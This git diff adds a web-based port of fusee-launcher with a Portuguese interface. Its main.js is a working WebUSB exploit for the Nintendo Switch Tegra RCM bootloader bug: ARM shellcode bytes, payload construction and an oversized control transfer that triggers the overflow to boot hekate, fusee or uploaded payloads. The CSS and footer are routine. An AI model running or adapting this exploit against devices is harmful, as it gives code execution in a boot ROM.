<button class="btn btn-primary pull-right margin-top-md" id="clearlogsbutton" onclick="clearLog();">Limpar Logs</button><br><br>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<script src="./payloads.js"></script>
|
||||||
|
<script src="./main.js"></script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
<div class="row margin-top-md" id="page-footer">
|
||||||
|
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
<div id="disclaimer">
|
||||||
|
<p>Código fonte disponível em <a href="https://github.com/ElijahZAwesome/web-cfw-loader/">GitHub</a> (ou simplesmente clicando 'ver código', não há backend).</p>
|
||||||
|
<p>Um port do <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.</p>
|
||||||
|
<p>Muito obrigado a Ktemkin e time (Re)Switched, bem como <br><a href="https://atlas44.s3-us-west-2.amazonaws.com/web-fusee-launcher/index.html">Atlas44 e seu website</a> que é a base deste.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</html>
|
|
@ -0,0 +1,206 @@
|
||||||
|
const intermezzo = new Uint8Array([
|
||||||
|
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
|
||||||
|
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
|
||||||
|
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
|
||||||
|
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
|
||||||
|
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
|
||||||
|
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
||||||
|
]);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
const RCM_PAYLOAD_ADDRESS = 0x40010000;
|
||||||
|
const INTERMEZZO_LOCATION = 0x4001F000;
|
||||||
|
const PAYLOAD_LOAD_BLOCK = 0x40020000;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function createRCMPayload(intermezzo, payload) {
|
||||||
|
const rcmLength = 0x30298;
|
||||||
|
|
||||||
|
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
|
||||||
|
|
||||||
|
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
|
||||||
|
|
||||||
|
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
|
||||||
|
const rcmPayloadView = new DataView(rcmPayload.buffer);
|
||||||
|
|
||||||
|
rcmPayloadView.setUint32(0x0, rcmLength, true);
|
||||||
|
|
||||||
|
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
|
||||||
|
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
|
||||||
|
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
|
||||||
|
|
||||||
|
return rcmPayload;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function bufferToHex(data) {
|
||||||
|
let result = "";
|
||||||
|
for (let i = 0; i < data.byteLength; i++)
|
||||||
|
result += data.getUint8(i).toString(16).padStart(2, "0");
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
async function write(device, data) {
|
||||||
|
let length = data.length;
|
||||||
|
let writeCount = 0;
|
||||||
|
const packetSize = 0x1000;
|
||||||
|
|
||||||
|
while (length) {
|
||||||
|
const dataToTransmit = Math.min(length, packetSize);
|
||||||
|
length -= dataToTransmit;
|
||||||
|
|
||||||
|
const chunk = data.slice(0, dataToTransmit);
|
||||||
|
data = data.slice(dataToTransmit);
|
||||||
|
await device.transferOut(1, chunk);
|
||||||
|
writeCount++;
|
||||||
|
}
|
||||||
|
|
||||||
|
return writeCount;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function readFileAsArrayBuffer(file) {
|
||||||
|
return new Promise((res, rej) => {
|
||||||
|
const reader = new FileReader();
|
||||||
|
reader.onload = e => {
|
||||||
|
res(e.target.result);
|
||||||
|
}
|
||||||
|
reader.readAsArrayBuffer(file);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function logOutput(...message) {
|
||||||
|
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function clearLog() {
|
||||||
|
document.getElementById("output").innerHTML = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
let device;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
async function launchPayload(payload) {
|
||||||
|
await device.open();
|
||||||
|
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
|
||||||
|
|
||||||
|
await device.claimInterface(0);
|
||||||
|
|
||||||
|
const deviceID = await device.transferIn(1, 16);
|
||||||
|
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
|
||||||
|
|
||||||
|
const rcmPayload = createRCMPayload(intermezzo, payload);
|
||||||
|
logOutput("Sending payload...");
|
||||||
|
const writeCount = await write(device, rcmPayload);
|
||||||
|
logOutput("Payload sent!");
|
||||||
|
|
||||||
|
if (writeCount % 2 !== 1) {
|
||||||
|
logOutput("Switching to higher buffer...");
|
||||||
|
await device.transferOut(1, new ArrayBuffer(0x1000));
|
||||||
|
}
|
||||||
|
|
||||||
|
logOutput("Trigging vulnerability...");
|
||||||
|
const vulnerabilityLength = 0x7000;
|
||||||
|
const smash = await device.controlTransferIn({
|
||||||
|
requestType: 'standard',
|
||||||
|
recipient: 'interface',
|
||||||
|
request: 0x00,
|
||||||
|
value: 0x00,
|
||||||
|
index: 0x00
|
||||||
|
}, vulnerabilityLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
document.getElementById("goButton").addEventListener("click", async () => {
|
||||||
|
clearLog();
|
||||||
|
var debugCheckbox = document.getElementById("shouldDebug");
|
||||||
|
const payloadType = document.getElementById("payloadSelect").value;
|
||||||
|
|
||||||
|
let payload;
|
||||||
|
if (payloadType === "hekate v5") {
|
||||||
|
payload = hekate5;
|
||||||
|
|
||||||
|
} else if (payloadType === "hekate v4") {
|
||||||
|
payload = hekate4;
|
||||||
|
|
||||||
|
} else if (payloadType === "fusee") {
|
||||||
|
payload = fusee;
|
||||||
|
|
||||||
|
} else if (payloadType === "instaboot") {
|
||||||
|
payload = instaboot;
|
||||||
|
|
||||||
|
} else if (payloadType === "uploaded") {
|
||||||
|
const file = document.getElementById("payloadUpload").files[0];
|
||||||
|
if (!file) {
|
||||||
|
alert("You need to upload a file, to use an uploaded file.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
payload = new Uint8Array(await readFileAsArrayBuffer(file));
|
||||||
|
} else {
|
||||||
|
logOutput("<span style='color:red'>You're trying to load a payload type that doesn't exist.</span>");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(debugCheckbox.checked) {
|
||||||
|
logOutput("Logging payload bytes...");
|
||||||
|
|
||||||
|
var payloadToLog = "";
|
||||||
|
for (var i = 0; i < payload.length; i++) {
|
||||||
|
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
|
||||||
|
}
|
||||||
|
payloadToLog = payloadToLog.toUpperCase();
|
||||||
|
logOutput(payloadToLog);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
logOutput("Requesting access to device...");
|
||||||
|
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
|
||||||
|
|
||||||
|
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
|
||||||
|
launchPayload(payload);
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function onSelectChange() {
|
||||||
|
if (document.getElementById("payloadSelect").value === "uploaded")
|
||||||
|
document.getElementById("uploadContainer").style.display = "block"
|
||||||
|
else
|
||||||
|
document.getElementById("uploadContainer").style.display = "none"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function openInfo() {
|
||||||
|
if(document.getElementById("infodiv").innerHTML != "") {
|
||||||
|
document.getElementById("infodiv").innerHTML = "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function openInstructions() {
|
||||||
|
if(document.getElementById("infodiv").innerHTML != "") {
|
||||||
|
document.getElementById("infodiv").innerHTML = "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,45 @@
|
||||||
|
@import url('https://fonts.googleapis.com/css?family=Open+Sans');
|
||||||
|
|
||||||
|
body {
|
||||||
|
margin-top: 0px;
|
||||||
|
margin-left: 0px;
|
||||||
|
margin-right: auto;
|
||||||
|
font-family: 'Open Sans', sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
#title {
|
||||||
|
text-align: center;
|
||||||
|
font-size: 1.5vw;
|
||||||
|
padding-top: 10vw;
|
||||||
|
padding-bottom: 10vw;
|
||||||
|
background-size: cover;
|
||||||
|
background-color: black;
|
||||||
|
background-image: url("https://icdn1.digitaltrends.com/image/nintendo-switch-review-photos-pdx-580.jpg");
|
||||||
|
color: white;
|
||||||
|
margin-top: 0px;
|
||||||
|
top: 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#output {
|
||||||
|
height: 200px;
|
||||||
|
border: 1px solid black;
|
||||||
|
overflow: scroll;
|
||||||
|
}
|
||||||
|
|
||||||
|
#page-footer {
|
||||||
|
padding: 32px;
|
||||||
|
background: #222528;
|
||||||
|
color: whitesmoke;
|
||||||
|
}
|
||||||
|
|
||||||
|
#disclaimer {
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.divider-line {
|
||||||
|
border-bottom: 1px solid gainsboro;
|
||||||
|
}
|
||||||
|
|
||||||
|
.margin-top-md {
|
||||||
|
margin-top: 24px;
|
||||||
|
}
|
43
style.css
43
style.css
|
@ -4,7 +4,6 @@ body {
|
||||||
margin-top: 0px;
|
margin-top: 0px;
|
||||||
margin-left: 0px;
|
margin-left: 0px;
|
||||||
margin-right: auto;
|
margin-right: auto;
|
||||||
text-align: center;
|
|
||||||
font-family: 'Open Sans', sans-serif;
|
font-family: 'Open Sans', sans-serif;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -17,44 +16,30 @@ body {
|
||||||
background-color: black;
|
background-color: black;
|
||||||
background-image: url("https://icdn1.digitaltrends.com/image/nintendo-switch-review-photos-pdx-580.jpg");
|
background-image: url("https://icdn1.digitaltrends.com/image/nintendo-switch-review-photos-pdx-580.jpg");
|
||||||
color: white;
|
color: white;
|
||||||
width: 100%;
|
|
||||||
margin-top: 0px;
|
margin-top: 0px;
|
||||||
top: 0px;
|
top: 0px;
|
||||||
}
|
}
|
||||||
|
|
||||||
#output {
|
#output {
|
||||||
margin-left: 0px;
|
|
||||||
width: 700px;
|
|
||||||
height: 200px;
|
height: 200px;
|
||||||
border: 1px solid black;
|
border: 1px solid black;
|
||||||
margin-right: 0px;
|
|
||||||
margin: auto;
|
|
||||||
overflow: scroll;
|
overflow: scroll;
|
||||||
}
|
}
|
||||||
|
|
||||||
.btn {
|
#page-footer {
|
||||||
background: #3498db;
|
padding: 32px;
|
||||||
background-image: -webkit-linear-gradient(top, #3498db, #2980b9);
|
background: #222528;
|
||||||
background-image: -moz-linear-gradient(top, #3498db, #2980b9);
|
color: whitesmoke;
|
||||||
background-image: -ms-linear-gradient(top, #3498db, #2980b9);
|
|
||||||
background-image: -o-linear-gradient(top, #3498db, #2980b9);
|
|
||||||
background-image: linear-gradient(to bottom, #3498db, #2980b9);
|
|
||||||
-webkit-border-radius: 12;
|
|
||||||
-moz-border-radius: 12;
|
|
||||||
border-radius: 12px;
|
|
||||||
font-family: Arial;
|
|
||||||
color: #ffffff;
|
|
||||||
font-size: 23px;
|
|
||||||
padding: 12px 20px 10px 20px;
|
|
||||||
text-decoration: none;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.btn:hover {
|
#disclaimer {
|
||||||
background: #3cb0fd;
|
text-align: center;
|
||||||
background-image: -webkit-linear-gradient(top, #3cb0fd, #3498db);
|
}
|
||||||
background-image: -moz-linear-gradient(top, #3cb0fd, #3498db);
|
|
||||||
background-image: -ms-linear-gradient(top, #3cb0fd, #3498db);
|
.divider-line {
|
||||||
background-image: -o-linear-gradient(top, #3cb0fd, #3498db);
|
border-bottom: 1px solid gainsboro;
|
||||||
background-image: linear-gradient(to bottom, #3cb0fd, #3498db);
|
}
|
||||||
text-decoration: none;
|
|
||||||
|
.margin-top-md {
|
||||||
|
margin-top: 24px;
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue